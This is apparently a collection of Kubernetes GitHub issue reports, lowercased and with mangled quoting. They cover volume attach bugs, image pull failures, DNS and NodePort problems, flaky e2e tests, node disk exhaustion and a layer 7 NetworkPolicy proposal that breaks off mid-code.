in cinder cloud provider openstack https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack_volumes.go l234\r inside of attachdisk function, it issues detachdisk if it find out the the volume is currently attached to a different instance. this is very dangerous because it is very likely the volume is still mounted to that instance. the correct behavior should be fail this attachdisk call. k8s attach_detach controller should handle unmount and detach volume safely.\r

is this a bug report or feature request?  :\r  \r   what happened  :\r hi. i am running a small kubernetes cluster with a master and three nodes. we are developing a software which consists of many different services that communicate with each other. those are built on a jenkins ci server and deployed into a docker image. \r \r i have set up a kubernetes cluster to proceed further deployment, away from running the docker images on the same vm as jenkins. the docker images are pushed from jenkins to our private repository, a nexus repository manager and from there pulled into the new kubernetes cluster.\r \r now,  setting up a new deployment which pulls the initial image, works great. we do this like that:\r \r  kubectl run <deployment-name> --image=<repo-name>/<image-name>:v1 --port=8080 \r \r right after this, i can see the successfully running deployment on our cluster:\r \r    \r kubectl get deployment \r \r name                                 desired   current   up-to-date   available   age\r deployment-name                 1         1         1            1           3h\r    \r \r the initial pull, with the specific tag version  here v1  works. now, when i am trying to \ update\  a deployment with a new version, this fails. the update command looks like this:\r \r  kubectl set image deployments/<deployment-name> <deployment-name>=<repo-name>/<image-name>:v2 \r \r this always fails with this error message:\r \r  failed to pull image \ <image-name>\ : rpc error: code = 2 desc = error response from daemon: {\ message\ :\ repository <repo-name> not found: does not exist or no pull access\ } \r \r well, what's strange here is that the repository name actually   is   valid, as we are able to pull successfully images from the nexus repo in the initial step. also, we ensured that the version, we want to update to, is available in the repository. it definitely is.  \r \r we tried different approaches, including:\r \r - restarting the docker service daemon\r - altering the repository path in many different variations\r - checking that our secret for the repo is valid\r \r nothing worked here. obviously, there has to be a working connection with working secret credentials as we can pull the images and create deployments in the first step. \r \r   what you expected to happen  :\r an update of the deployment based on a new image version from our nexus repository.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. pulling an image from a repository, e.g.:\r  kubectl run <deployment-name> --image=<repo>/<image>:v1 --port=8080 \r \r 2. updating an deployment with a new image version:\r  kubectl set image deployments/<deployment-name> <deployment-name>=<image-name>:v2 \r \r   environment  :\r - kubernetes version: \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r \r - cloud provider or hardware configuration  :\r virtual machines on a high availability cluster  bare metal , running vmware\r \r - os  e.g. from /etc/os-release :\r centos 7\r \r - kernel  e.g.  uname -a  :\r  3.10.0-514.26.2.el7.x86_64 x86_64 gnu/linux \r \r - install tools:\r kubernetes repository from official documentation\r \r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r failed to access a remote nodeport.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a cluster with three nodes  node a,b,c . network plugin is calico.\r - create a pod on node c and expose it as a nodeport service.\r - node a tries to access noteport with ip:port where ip is the ip address of node b.\r remote node  node a  -> node ip:port  node b  -> remote pod  node c \r \r   anything else we need to know?  :\r it seems missing masquerade rule on node b. i can see pod receives packet with source ip of node a.\r \r  /area kube-proxy\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - calico version: 2.6\r - os  e.g. from /etc/os-release : coreos 1465.8.0\r - kernel  e.g.  uname -a  : 4.12.14\r - install tools:\r - others:\r

  @kubernetes/sig-api-machinery-bugs\r \r   what happened  :\r my custom resource type has a status field. i have generated client for it using genclient. \r here is the defination of my crd type:\r    \r // +genclient\r // +k8s:openapi-gen=true\r // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.object\r \r type recovery struct {\r \tmetav1.typemeta    json:\ ,inline,omitempty\  \r \tmetav1.objectmeta  json:\ metadata,omitempty\  \r \tspec              recoveryspec    json:\ spec,omitempty\  \r \tstatus            recoverystatus  json:\ status,omitempty\  \r }\r    \r the generated updatestatus   function:\r    \r // updatestatus was generated because the type contains a status member.\r // add a +genclient:nostatus comment above the type to avoid generating updatestatus  .\r \r func  c  recoveries  updatestatus recovery  v1alpha1.recovery   result  v1alpha1.recovery, err error  {\r \tresult = &v1alpha1.recovery{}\r \terr = c.client.put  .\r \t\tnamespace c.ns .\r \t\tresource \ recoveries\  .\r \t\tname recovery.name .\r \t\tsubresource \ status\  .\r \t\tbody recovery .\r \t\tdo  .\r \t\tinto result \r \treturn\r }\r    \r now when i call updatestatus   for a recovery object  stash-mduabx  it gives following error:\r    \r the server could not find the requested resource  put recoveries.stash.appscode.com stash-mduabx \r    \r and the log of api call:\r    \r put https://192.168.99.100:8443/apis/stash.appscode.com/v1alpha1/namespaces/test-stash/recoveries/stash-mduabx/status 404 not found in 11 milliseconds\r    \r   what you expected to happen  :\r it should update the status field.\r \r   how to reproduce it  :\r define a crd type with status field and generate client for it using genclient. create a object of that type using kubectl. now get the object from go program and call updatestatus   for the object.\r \r   environment  :\r - kubernetes version: 1.7.5\r

 \r   what happened  :\r \r started up a clean kubernetes environment using minikube. dns services are not available. logs on the kubedns container:\r \r i1123 16:41:41.217180       1 dns.go:48  version: 1.14.4-2-g5584e04\r i1123 16:41:41.218130       1 server.go:66  using configuration read from configmap: kube-system:kube-dns\r i1123 16:41:41.218177       1 server.go:113  flag: --alsologtostderr=\ false\ \r i1123 16:41:41.218195       1 server.go:113  flag: --config-dir=\ \ \r i1123 16:41:41.218203       1 server.go:113  flag: --config-map=\ kube-dns\ \r i1123 16:41:41.218208       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i1123 16:41:41.218213       1 server.go:113  flag: --config-period=\ 10s\ \r i1123 16:41:41.218219       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i1123 16:41:41.218224       1 server.go:113  flag: --dns-port=\ 10053\ \r i1123 16:41:41.218234       1 server.go:113  flag: --domain=\ cluster.local.\ \r i1123 16:41:41.218241       1 server.go:113  flag: --federations=\ \ \r i1123 16:41:41.218247       1 server.go:113  flag: --healthz-port=\ 8081\ \r i1123 16:41:41.218252       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i1123 16:41:41.218257       1 server.go:113  flag: --kube-master-url=\ \ \r i1123 16:41:41.218266       1 server.go:113  flag: --kubecfg-file=\ \ \r i1123 16:41:41.218271       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r i1123 16:41:41.218281       1 server.go:113  flag: --log-dir=\ \ \r i1123 16:41:41.218286       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i1123 16:41:41.218291       1 server.go:113  flag: --logtostderr=\ true\ \r i1123 16:41:41.218296       1 server.go:113  flag: --nameservers=\ \ \r i1123 16:41:41.218304       1 server.go:113  flag: --stderrthreshold=\ 2\ \r i1123 16:41:41.218309       1 server.go:113  flag: --v=\ 2\ \r i1123 16:41:41.218314       1 server.go:113  flag: --version=\ false\ \r i1123 16:41:41.218321       1 server.go:113  flag: --vmodule=\ \ \r i1123 16:41:41.218651       1 server.go:176  starting skydns server  0.0.0.0:10053 \r i1123 16:41:41.218973       1 server.go:198  skydns metrics enabled  /metrics:10055 \r i1123 16:41:41.218986       1 dns.go:147  starting endpointscontroller\r i1123 16:41:41.218992       1 dns.go:150  starting servicecontroller\r i1123 16:41:41.219676       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i1123 16:41:41.219687       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r e1123 16:41:41.235769       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: unauthorized\r e1123 16:41:41.235852       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: unauthorized\r e1123 16:41:41.235896       1 sync_configmap.go:86  error getting configmap kube-system:kube-dns err: unauthorized\r e1123 16:41:41.235905       1 dns.go:183  error getting initial configmap: unauthorized, starting with default values\r e1123 16:41:41.236814       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.configmap: unauthorized\r i1123 16:41:41.736168       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1123 16:41:42.236351       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r \r exec ping kubernetes:\r \r ping: bad address 'kubernetes'\r \r   what you expected to happen  :\r \r no errors in kubedns logs, containers can resolve services.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r started minikube with --vm-driver=none on a server with docker 17.09 installed. i can reproduce it on this machine  i removed all the k8s containers/images and the minikube_home then started again so everything was installed from scratch . however, i have another machine which _should_ be identical on which kubernetes in this configuration works fine, so i don't know why it reproduces here\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r minikube version 0.23\r \r - cloud provider or hardware configuration:\r local server running in a vmware image\r \r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r - kernel  e.g.  uname -a  :\r linux x-vm-amd64-rhel7-certs.apama.com 3.10.0-123.el7.x86_64  1 smp mon jun 30 12:09:22 utc 2014 x86_64 x86_64 x86_64 gnu/linux\r

current master\r    \r $ git describe\r v1.11.0-alpha.1-262-g6251402266\r    \r \r    \r $ hack/update-staging-godeps.sh \r +++  0425 22:31:28  verifying prerequisites....\r +++  0425 22:31:28  building docker image kube-build:build-0531bc49e4-5-v1.10.1-1\r +++  0425 22:31:30  keeping container kube-build-data-4bacd52011-5-v1.10.1-1\r ...\r +++  0425 22:31:31  keeping image kube-build:build-0531bc49e4-5-v1.10.1-1\r +++  0425 22:31:31  keeping image kube-build:build-4bacd52011-5-v1.10.1-1\r +++  0425 22:31:31  keeping image kube-build:build-99ed8b279f-5-v1.9.3-2\r +++  0425 22:31:31  creating data container kube-build-data-0531bc49e4-5-v1.10.1-1\r +++  0425 22:31:54  syncing sources to container\r +++  0425 22:31:54  stopping any currently running rsyncd container\r +++  0425 22:31:54  starting rsyncd container\r unable to find image '172.17.0.1:latest' locally\r trying to pull repository docker.io/library/172.17.0.1 ... \r trying to pull repository registry.fedoraproject.org/172.17.0.1 ... \r trying to pull repository registry.access.redhat.com/172.17.0.1 ... \r trying to pull repository docker.io/library/172.17.0.1 ... \r /usr/bin/docker-current: repository docker.io/172.17.0.1 not found: does not exist or no pull access.\r see '/usr/bin/docker-current run --help'.\r !!!  0425 22:32:04  call tree:\r !!!  0425 22:32:04   1: /home/tnozicka/go/src/k8s.io/kubernetes/build/../build/common.sh:661 kube::build::run_build_command_ex ... \r !!!  0425 22:32:04   2: /home/tnozicka/go/src/k8s.io/kubernetes/build/../build/common.sh:717 kube::build::start_rsyncd_container ... \r !!!  0425 22:32:04   3: /home/tnozicka/go/src/k8s.io/kubernetes/build/../build/common.sh:470 kube::build::sync_to_container ... \r !!!  0425 22:32:04   4: /home/tnozicka/go/src/k8s.io/kubernetes/build/run.sh:31 kube::build::build_image ... \r !!! error in /home/tnozicka/go/src/k8s.io/kubernetes/build/../build/common.sh:626\r   error in /home/tnozicka/go/src/k8s.io/kubernetes/build/../build/common.sh:626. '  i<6-1  ' exited with status 125\r call stack:\r   1: /home/tnozicka/go/src/k8s.io/kubernetes/build/../build/common.sh:626 kube::build::run_build_command_ex ... \r   2: /home/tnozicka/go/src/k8s.io/kubernetes/build/../build/common.sh:661 kube::build::start_rsyncd_container ... \r   3: /home/tnozicka/go/src/k8s.io/kubernetes/build/../build/common.sh:717 kube::build::sync_to_container ... \r   4: /home/tnozicka/go/src/k8s.io/kubernetes/build/../build/common.sh:470 kube::build::build_image ... \r   5: /home/tnozicka/go/src/k8s.io/kubernetes/build/run.sh:31 main ... \r exiting with status 1\r !!! error in hack/update-staging-godeps.sh:31\r   error in hack/update-staging-godeps.sh:31. '${kube_root}/build/run.sh hack/update-staging-godeps-dockerized.sh \ $@\ ' exited with status 1\r call stack:\r   1: hack/update-staging-godeps.sh:31 main ... \r exiting with status 1\r    \r  unable to find image '172.17.0.1:latest' locally  - looks like the image name gets assembled differently in every phase.\r \r  / 

   testgrid history  https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-serial-gce-e2e&include-filter-by-regex=validate%20node%20allocatable%20set's%20up%20the%20node%20and%20runs%20the%20test ,   commit diff  https://github.com/kubernetes/kubernetes/compare/398ced1dc...592c39bcc ,  example failure  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/4190 \r failure:\r    \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/node_container_manager_test.go:60\r test panicked\r /usr/local/go/src/runtime/panic.go:502\r    \r \r https://github.com/kubernetes/kubernetes/pull/62541 is the likely culprit.\r /assign @filbranden \r cc @random-liu @yujuhong @derekwaynecarr

  \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.13\r \r    \r ubuntu@vm-0-25-ubuntu:~$ kubectl -n cls-raok3r8m get pod  proxy-799df586d4-mbz6h -o yaml | grep pod.alpha.kubernetes.io/opaque-int-resource-eni\r         pod.alpha.kubernetes.io/opaque-int-resource-eni: \ 1\ \r ubuntu@vm-0-25-ubuntu:~$ kubectl -n cls-raok3r8m get pod proxy-799df586d4-mbz6h -o wide\r name                     ready     status    restarts   age       ip             node\r proxy-799df586d4-mbz6h   1/1       running   0          7d        127.128.36.8   10.0.0.99\r ubuntu@vm-0-25-ubuntu:~$ kubectl describe node 10.0.0.99 | grep capacity -a 11\r capacity:\r  cpu:                                              8\r  memory:                                           16300828ki\r  pod.alpha.kubernetes.io/opaque-int-resource-eni:  8\r  pods:                                             110\r allocatable:\r  cpu:                                              7910m\r  memory:                                           14867228ki\r  pod.alpha.kubernetes.io/opaque-int-resource-eni:  8\r  pods:                                             110\r system info:\r  machine id:                 c5f311a0edd169fa9fb1933c58105309\r    \r \r which can reprocude with gce with version 1.8

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r the test    sig-api-machinery  admissionwebhook should be able to deny attaching pod   can randomly fail because the test never waits for the pod to get into a   running   state before trying to execute   kubectl attach  . this can happen more frequently when it has to pull the necessary image. additionally, spawning and starting pods takes a bit longer on windows nodes.\r \r     â¢ failure  88.631 seconds \r      sig-api-machinery  admissionwebhook\r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/framework.go:22\r       should be able to deny attaching pod  it \r       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/webhook.go:125\r \r       oct  8 16:36:05.987: unexpected 'kubectl attach' error message. expected to contain \ attaching to pod 'to-be-attached-pod' is not allowed\ , got \ error running &{/usr/local/bin/kubectl  kubectl --server=https://k8s-cbelu-6.eastus.cloudapp.azure.com --kubeconfig=/home/ubuntu/kube/config_6 attach --namespace=e2e-tests-webhook-d8clc to-be-attached-pod -i -c=container1      <nil>  if you don't see a command prompt, try pressing enter.\ error: unable to upgrade connection: container container1 not found in pod to-be-attached-pod_e2e-tests-webhook-d8clc\     <nil> 0xc0018941b0 exit status 1 <nil> <nil> true  0xc0002d1808 0xc0002d1838 0xc0002d1860   0xc0002d1808 0xc0002d1838 0xc0002d1860   0xc0002d1820 0xc0002d1850   0x92bfb0 0x92bfb0  0xc00074dd40 <nil>}:\ command stdout:\ \ stderr:\ if you don't see a command prompt, try pressing enter.\ error: unable to upgrade connection: container container1 not found in pod to-be-attached-pod_e2e-tests-webhook-d8clc\ \ error:\ exit status 1\ \ \r \r additionally, the   kubectl attach   command could hang  if it actually managed to attach , causing the test to never end. the command should be executed with a timeout.\r \r   what you expected to happen  :\r \r the test should wait for the pod to enter a   running   state before trying to attach to it, so it won't randomly fail.\r the test should have a timeout when trying to attach to the pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the    sig-api-machinery  admissionwebhook should be able to deny attaching pod   test using windows nodes and / or delete webhook image from the compute node's image cache.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0-rc.2\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : windows server 1803 compute nodes\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r kubernetes 1.12 provides container-lifecycle-hooks: poststart and prestop. prestop hook is called when a container is terminated. however when updating the image of a container via the command\r 'kubectl set image pod pod-name pod=imagename:v2' does not invoke the prestop hook for cleaning up of pod data.\r \r   why is this needed  :\r any cleanup in the pods required before updating the image can be executed.\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   \r /area conformance\r \r   which jobs are failing  :\r \r n/a\r \r   which test s  are failing  :\r \r      sig-storage  hostpath should support r/w  nodeconformance \r      sig-storage  hostpath should support subpath  nodeconformance \r \r   since when has it been failing  :\r \r before 2019-03-07. since then, the windows nodes' kubelet service has been passed the   --allow-privileged=true  , which allows the test to pass.\r \r   testgrid link  :\r \r https://testgrid.k8s.io/sig-windows cfcr-vsphere-windows-master  older than 2019-03-07 \r \r   reason for failure  :\r \r the tests are trying to spawn pods with a hostpath volume    /tmp   folder  and with   priviledged = true   securitycontext. the windows kubelet does not support privileged containers, causing the tests to fail on windows. the test cases' containers do not have to be privileged. the containers have to create a file on the hostpath volume, but the   /tmp   folder has 777 file permissions by default, meaning it should pass without privileged access.\r \r the tests have turned green in the linked testgrid because the windows kubelet flag   --allow-privileged   has been set to true, but it shouldn't have been necessary in the first place.\r \r   anything else we need to know  :\r

i create a single master cluster with kubeadm, according to doc, i did it like this:\r \r    \r kubeadm init --pod-network-cidr=172.20.0.0/16\r kubectl apply -f rbac-kdd.yaml\r kubectl apply -f calico.yml\r    \r \r now, everything is fine, all pods and services are running, but when i test coredns, the problem is arise. i create a pod to test dns:\r \r  kubectl exec busybox -- nslookup kubernetes \r \r it cannot resolve the kubernetes.\r \r i think it maybe because the master ip is 10.0.197.143, and coredns service's cluster-ip is 10.96.0.10. if i'm right, how can i change cluster-ip range?

bash kubectl version   client version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.2\ , gitcommit:\ 3085895b8a70a3d985e9320a098e74f545546171\ , gittreestate:\ clean\ }   server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.3\ , gitcommit:\ 6a81b50c7e97bbe0ade075de55ab4fa34f049dc2\ , gittreestate:\ clean\ }  kubectl api-versions   extensions/v1beta1   v1  kubectl create -f resources   error validating \ resources/deployment.json\ : error validating data:   couldn't find type: v1beta1.deployment; if you choose to ignore these errors, turn validation off with --validate=false  kubectl create -f resources --validate=false   error from server: error when creating \ resources/deployment.json\ :   the server could not find the requested resource          json {   \ apiversion\ : \ extensions/v1beta1\ ,   \ kind\ : \ deployment\ ,   \ metadata\ : {     \ name\ : \ ...\    },   \ spec\ : { ... } }      i couldn't find any documentation regarding having to manually enable the extensions api on gke, but from the looks of it, it's not enabled by default  yet ?  any documentation that i missed that explains how to enable this on a currently running gke kubernetes 1.1 cluster?

i have a 1.2 cluster on aws  built with kube-up  that has been running for over a month with minimal pods.  i am running into some strange issues where the volumes that were created on startup are filling up from influxdb and docker  details below .  i have seen these issues    14276  https://github.com/kubernetes/kubernetes/issues/14276 ,  14274  https://github.com/kubernetes/kubernetes/issues/14274   but the only solution that partially worked for me was restarting the influx pod, and even then, some nodes are still showing  kubeletoutofdisk .  can i reconfigure these default pods to store data on the root volume, which has plenty of space, or are there more relevant pull requests that address this in 1.2+?  cc @justinsb @vishh      nleli$ k get po --all-namespaces namespace     name                                                               ready     status    restarts   age default       batch1-9zt06                                                       1/1       running   0          7h default       batch1-u8rcs                                                       1/1       running   0          7h default       batch2-78i8q                                                       1/1       running   0          7h default       batch2-9t7ze                                                       1/1       running   0          7h default       ecr-node-19xni                                                     1/1       running   0          40d default       ecr-node-scwy4                                                     1/1       running   0          40d default       nginx-deployment-1485602700-2uxm2                                  1/1       running   0          28d default       weather-c097301fc3c0250ac26607435318594d-1y5bs                     1/1       running   0          27d default       weather-deployment-dev-19791448-5vn7i                              1/1       running   0          1d default       weather-deployment-test-3979476697-ij9zj                           1/1       running   0          1d default       weather-dev-8d1d6c2c22e11126a7ed72f9a2330ad0-s4teb                 1/1       running   0          1d default       weather-dev-8d1d6c2c22e11126a7ed72f9a2330ad0-vxw0t                 1/1       running   0          1d default       weather-dev-8d1d6c2c22e11126a7ed72f9a2330ad0-wajem                 1/1       running   0          1d default       weather-test-ba4664ff532cac366dc92c43de076b01-d0qk3                1/1       running   0          14d default       weather-test-f0307f68156784d2c3e37dfcff8bd79a-0eg5w                1/1       running   0          1d default       weather-test-f0307f68156784d2c3e37dfcff8bd79a-g4pn9                1/1       running   0          1d kube-system   elasticsearch-logging-v1-4rtb8                                     1/1       running   0          42d kube-system   elasticsearch-logging-v1-qfz91                                     1/1       running   0          42d kube-system   fluentd-elasticsearch-ip-172-20-0-207.us-west-2.compute.internal   1/1       running   0          42d kube-system   fluentd-elasticsearch-ip-172-20-0-208.us-west-2.compute.internal   1/1       running   0          42d kube-system   fluentd-elasticsearch-ip-172-20-0-209.us-west-2.compute.internal   1/1       running   0          42d kube-system   fluentd-elasticsearch-ip-172-20-1-154.us-west-2.compute.internal   1/1       running   0          42d kube-system   fluentd-elasticsearch-ip-172-20-1-175.us-west-2.compute.internal   1/1       running   0          35d kube-system   fluentd-elasticsearch-ip-172-20-1-195.us-west-2.compute.internal   1/1       running   0          15d kube-system   heapster-v1.0.0-nb0gp                                              2/2       running   0          42d kube-system   kibana-logging-v1-jtfko                                            1/1       running   1          42d kube-system   kube-dns-v11-e440x                                                 4/4       running   7          42d kube-system   kube-proxy-ip-172-20-0-207.us-west-2.compute.internal              1/1       running   0          42d kube-system   kube-proxy-ip-172-20-0-208.us-west-2.compute.internal              1/1       running   0          42d kube-system   kube-proxy-ip-172-20-0-209.us-west-2.compute.internal              1/1       running   0          42d kube-system   kube-proxy-ip-172-20-1-154.us-west-2.compute.internal              1/1       running   0          42d kube-system   kube-proxy-ip-172-20-1-175.us-west-2.compute.internal              1/1       running   0          35d kube-system   kube-proxy-ip-172-20-1-195.us-west-2.compute.internal              1/1       running   0          15d kube-system   kubernetes-dashboard-v1.0.0-t47rd                                  1/1       running   0          42d kube-system   monitoring-influxdb-grafana-v3-343vq                               2/2       running   0          1h          admin@ip-172-20-0-208:~$ df filesystem                          1k-blocks    used available use% mounted on /dev/xvda1                           32892152 2410192  29039828   8% / udev                                    10240       0     10240   0% /dev tmpfs                                  773116   85988    687128  12% /run tmpfs                                 1932784     936   1931848   1% /dev/shm tmpfs                                    5120       0      5120   0% /run/lock tmpfs                                 1932784       0   1932784   0% /sys/fs/cgroup /dev/mapper/vg--ephemeral-ephemeral   4054848 3735964     93196  98% /mnt/ephemeral  admin@ip-172-20-1-154:~$ df filesystem                          1k-blocks    used available use% mounted on /dev/xvda1                           32892152 2404400  29045620   8% / udev                                    10240       0     10240   0% /dev tmpfs                                  773116   85904    687212  12% /run tmpfs                                 1932784     736   1932048   1% /dev/shm tmpfs                                    5120       0      5120   0% /run/lock tmpfs                                 1932784       0   1932784   0% /sys/fs/cgroup /dev/mapper/vg--ephemeral-ephemeral   4054848 3606868    222292  95% /mnt/ephemeral          name:           ip-172-20-0-208.us-west-2.compute.internal labels:         beta.kubernetes.io/instance-type=m3.medium,failure-domain.beta.kubernetes.io/region=us-west-2,failure-domain.beta.kubernetes.io/zone=us-west-2a,kubernetes.io/hostname=ip-172-20-0-208.us-west-2.compute.internal creationtimestamp:  wed, 23 mar 2016 12:54:48 -0700 phase: conditions:   type      status  lastheartbeattime           lasttransitiontime          reason          message   ----      ------  -----------------           ------------------          ------          -------   outofdisk     true    wed, 04 may 2016 16:03:40 -0700     tue, 03 may 2016 10:16:49 -0700     kubeletoutofdisk    out of disk space   ready     true    wed, 04 may 2016 16:03:40 -0700     fri, 08 apr 2016 14:55:30 -0700     kubeletready        kubelet is posting ready status. warning: cpu hardcapping unsupported addresses:  172.20.0.208,172.20.0.208,52.38.24.152 capacity:  cpu:       1  memory:    3865572ki  pods:      110 system info:  machine id:            1d7ef93259a343c2a20e96407fcb7444  system uuid:           ec27800f-5eec-d758-ea5d-6de6672ca3c8  boot id:           62a18343-28eb-4e78-9140-5f1f58d5c87b  kernel version:        3.16.0-4-amd64  os image:          debian gnu/linux 8  jessie   container runtime version: docker://1.9.1  kubelet version:       v1.2.0  kube-proxy version:        v1.2.0 podcidr:            10.244.1.0/24 externalid:         i-85adc65d non-terminated pods:         8 in total

we seemed to have curbed the kubelet memory issues in  27456, but the runtime issues remain.      console /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:277 jun 26 21:41:36.956: memory usage exceeding limits:  node jenkins-e2e-minion-group-lkou:  container \ runtime\ : expected rss memory  mb  < 157286400; got 192192512 node jenkins-e2e-minion-group-vdvc:  container \ runtime\ : expected rss memory  mb  < 157286400; got 169332736 node jenkins-e2e-minion-group-zlrc:  container \ runtime\ : expected rss memory  mb  < 157286400; got 169558016      https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-soak-continuous-e2e-gce/5807 has a lot of these.  this can likely be de-duped to an auto-filed issue when the soak tests are added to the munger.

forked from https://github.com/kubernetes/kubernetes/pull/32823 r79096971  actual: kubectl describe requests a number of resources from server and fails if any one of those request fails.  expectation: it should atleast display the information that it was able to fetch  a particular instance of this problem  with namespaces : https://github.com/kubernetes/kubernetes/issues/32629

gci test failing:  kubernetes-gci-gke-serial-release-1.4    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 35 pods per node   https://k8s-testgrid.appspot.com/google-gke gci-gke-serial-release-1.4

in  39164 @liggitt said:\r \r > the new networking.k8s.io group should be appearing after extensions in discovery, and the old extensions group should be preferred, but it is not  networking.k8s.io is preferred if no group is specified using kubectl . \r > @deads2k, same root issue as  46322?\r \r although  46322 is about a single api group with two versions, as opposed to a resource type with versions in two different api groups like here, so that might be something different.  networking's versionpreferenceorder only has a single element. \r \r i don't know how big a deal this is... @liggitt?\r \r @thockin fyi, forgot to file this with the other to-do bugs before

in 1.7 we introduced the concept of  initialization  https://github.com/kubernetes/kubernetes/blob/v1.7.0/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/types.go l225 . by default, clients won't see uninitialized objects.\r \r controllers  replicaset, deployment, job, etc.  have to observe the uninitialized controllees they create, otherwise the controllers continue to create more controllees  thanks to @kelseyhightower for reporting this .\r \r one possible solution is converting all controllers to list/watch uninitialized controllees.\r \r p.s. replicaset and replication controllers might be protected by their  expectation  https://github.com/kubernetes/kubernetes/blob/v1.7.0/pkg/controller/replicaset/replica_set.go  systems, but other controllers are not.\r \r cc @lavalamp @smarterclayton

  \r   extend networkpolicy to layer 7\r    objective\r this proposal extend networkpolicy to include layer 7 attributes at both ingress and egress to extend filtering on http method, http path, kafka topic, etc.\r \r    motivation\r the current networkpolicy allows to apply security policies based on l3\r and l4 information  pod to pod connectivity, pod to ip, port filtering . many applications running in kubernetes pods use modern protocols such as grpc or rest to expose apis. securing such pods on pod and port level only provides limited security as the entire api is exposed. this proposal provides users the capability to lock down pods on api call level.\r \r    goals\r   provide a l7/api aware security specification compatible with networkpolicy\r   the goal is to provide enforcement for:\r      traffic that is coming from a pod  egress \r      traffic that is going to a pod  ingress \r   find a simple language to express the most common use cases in locking down on l7/api level\r \r    non-goals\r   this proposal does not intent to capture l7 routing intent and is not a replacement for ingress\r   it is not the goal to provide capability to filter on every possible l7 protocol field.\r \r    implementation details\r \r     api changes\r we introduce a new field  rules  on the existing  networkpolicyport  structure which will contain rules for traffic passing through that port.\r \r    go\r // networkpolicyport describes a port to allow traffic on\r type networkpolicyport struct {\r \t// the protocol  tcp or udp  which traffic must match. if not specified, this\r \t// field defaults to tcp.\r \t// +optional\r \tprotocol  v1.protocol  json:\ protocol,omitempty\  protobuf:\ bytes,1,opt,name=protocol,casttype=k8s.io/api/core/v1.protocol\  \r 